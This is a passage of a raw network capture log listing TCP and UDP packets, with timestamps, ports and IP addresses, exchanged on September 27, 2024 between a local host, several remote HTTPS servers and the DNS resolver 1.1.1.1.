Sep 27, 2024 08:19:00.774506092 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.774509907 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.774523973 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.774537086 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.774581909 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.774601936 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.774893999 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.774909973 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.774975061 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.774981022 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.775475025 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.777229071 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.841614008 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.841634035 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.841706991 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.841723919 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.843218088 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855448961 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855463982 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855526924 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855530977 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855541945 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855557919 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855600119 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855607033 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855618954 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855645895 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855665922 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855679989 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855715990 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855720997 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855748892 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855763912 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855834007 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855846882 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855901957 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.855906963 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855974913 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.855993032 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856024027 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856029034 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856045961 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856072903 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856136084 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856148958 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856219053 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856223106 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856245995 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856261969 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856292963 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856298923 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.856321096 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.856343031 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.885577917 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.926738977 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.926770926 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.926850080 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.926867962 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.926963091 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.941975117 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.941996098 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.942050934 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.942063093 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.942085028 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.942117929 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.942523956 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.942542076 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.942580938 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.942586899 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.942635059 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943006039 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943023920 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943074942 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943080902 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943100929 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943128109 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943361998 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943397045 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943439960 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943444967 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.943471909 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.943486929 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944044113 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944061995 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944111109 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944116116 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944147110 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944164991 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944515944 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944534063 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944595098 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944600105 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.944799900 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.944994926 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.945013046 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.945067883 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:00.945074081 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:00.945128918 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.012981892 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.013005972 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.013083935 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.013102055 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.013149977 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.028251886 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028274059 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028326035 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.028337002 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028378010 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.028599977 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028620005 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028675079 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.028681993 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.028724909 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.029294968 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029314041 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029371023 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.029378891 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029413939 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.029800892 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029819965 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029894114 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.029894114 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.029901981 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.029944897 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.030333042 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030349970 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030391932 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.030399084 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030420065 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.030443907 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.030787945 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030807018 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030855894 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.030864000 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.030899048 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.031327963 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.031347990 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.031405926 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.031411886 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.031421900 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.031447887 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.037338018 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.099404097 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.099426985 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.099498034 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.099517107 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.099571943 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.114564896 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.114586115 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.114650965 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.114669085 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.114713907 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115053892 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115072966 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115123034 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115129948 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115175009 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115566969 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115592957 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115622997 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115638018 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115643024 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115679026 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115708113 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.115711927 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115746021 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:01.115852118 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.141758919 CEST	49776	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:01.141786098 CEST	443	49776	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:23.711627960 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:19:23.711651087 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:19:28.382817030 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:28.382842064 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:19:32.164061069 CEST	49756	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:32.169018984 CEST	80	49756	149.56.200.84	192.168.2.5
Sep 27, 2024 08:19:35.469403028 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.469449043 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.469541073 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.469801903 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.469810963 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.625530005 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:35.625577927 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:35.625641108 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:35.625899076 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:35.625911951 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:35.933325052 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.933897018 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.933913946 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.934923887 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.934982061 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.935686111 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.935787916 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.935954094 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:35.935961008 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:35.976547003 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.061737061 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.061803102 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.061858892 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.062148094 CEST	49779	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.062165022 CEST	443	49779	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.062880039 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.062930107 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.063071012 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.063344002 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.063359022 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.235940933 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:36.236247063 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:36.236258030 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:36.237227917 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:36.237298012 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:36.238703966 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:36.238754034 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:36.239029884 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:36.239036083 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:36.289057016 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:36.636749983 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.652884007 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.652901888 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.653362036 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.655213118 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.655287027 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.656090021 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.657238007 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:36.657291889 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:36.657444000 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:36.657748938 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:36.657769918 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:36.703408957 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.786317110 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.786397934 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:36.786453962 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.787166119 CEST	49781	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:19:36.787190914 CEST	443	49781	35.190.80.1	192.168.2.5
Sep 27, 2024 08:19:37.030167103 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.030360937 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.030657053 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.030906916 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.030929089 CEST	443	49780	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.030956984 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.030982018 CEST	49780	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.031835079 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.031864882 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.031975031 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.032812119 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.032824039 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.286770105 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:37.287199974 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:37.287235022 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:37.287565947 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:37.288427114 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:37.288501024 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:37.339524031 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:37.433269024 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.433296919 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.659745932 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.665066957 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.665086031 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.665472031 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.666099072 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.666162014 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:37.666270018 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:37.711399078 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:38.405273914 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:38.405359030 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:38.405411959 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:38.405908108 CEST	49783	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:38.405921936 CEST	443	49783	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:39.191310883 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:19:39.191422939 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:19:39.191484928 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:19:45.089531898 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:45.089679003 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:19:45.089880943 CEST	443	49749	149.56.200.84	192.168.2.5
Sep 27, 2024 08:19:45.089965105 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:45.089965105 CEST	49749	443	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:47.195858002 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:47.195929050 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:47.196125984 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:49.089828968 CEST	49756	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:49.089884996 CEST	49782	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:19:49.089903116 CEST	443	49782	142.250.186.164	192.168.2.5
Sep 27, 2024 08:19:49.094995975 CEST	80	49756	149.56.200.84	192.168.2.5
Sep 27, 2024 08:19:49.095104933 CEST	49756	80	192.168.2.5	149.56.200.84
Sep 27, 2024 08:19:52.260811090 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:52.260932922 CEST	443	49766	206.206.125.198	192.168.2.5
Sep 27, 2024 08:19:52.260992050 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:53.090240955 CEST	49766	443	192.168.2.5	206.206.125.198
Sep 27, 2024 08:19:53.090261936 CEST	443	49766	206.206.125.198	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 08:18:32.660578966 CEST	53	50245	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:32.727018118 CEST	53	61396	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:33.825679064 CEST	53	55259	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:34.306992054 CEST	58566	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:34.307441950 CEST	50614	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:34.446466923 CEST	53	58566	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:34.492178917 CEST	53	50614	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:35.450485945 CEST	53825	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:35.450668097 CEST	52224	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:35.457317114 CEST	53	53825	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:35.457587004 CEST	53	52224	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:36.605861902 CEST	54884	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:36.606317997 CEST	57169	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:36.614095926 CEST	53	54884	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:36.614851952 CEST	53	57169	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.090320110 CEST	55469	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.090806961 CEST	50773	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.110459089 CEST	53	50773	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.112766981 CEST	53	55469	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.631959915 CEST	58115	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.632432938 CEST	49950	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.646200895 CEST	53	49950	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.766098976 CEST	53	58115	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.987087965 CEST	57163	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.987345934 CEST	52117	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:38.993994951 CEST	53	57163	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:38.994426012 CEST	53	52117	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:40.136251926 CEST	55582	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:40.136789083 CEST	54790	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:40.142819881 CEST	53	55582	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:40.143352985 CEST	53	54790	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:42.490731001 CEST	51736	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:42.491172075 CEST	58492	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:42.673744917 CEST	53	51736	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:42.832616091 CEST	53	58492	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:43.462510109 CEST	60865	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:43.462843895 CEST	54768	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:43.745465994 CEST	53	60865	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:43.763633966 CEST	53	54768	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:44.331382036 CEST	59031	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:44.331618071 CEST	63526	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:44.471122980 CEST	53	63526	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:44.492522955 CEST	53	59031	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:46.866828918 CEST	53914	53	192.168.2.5	1.1.1.1
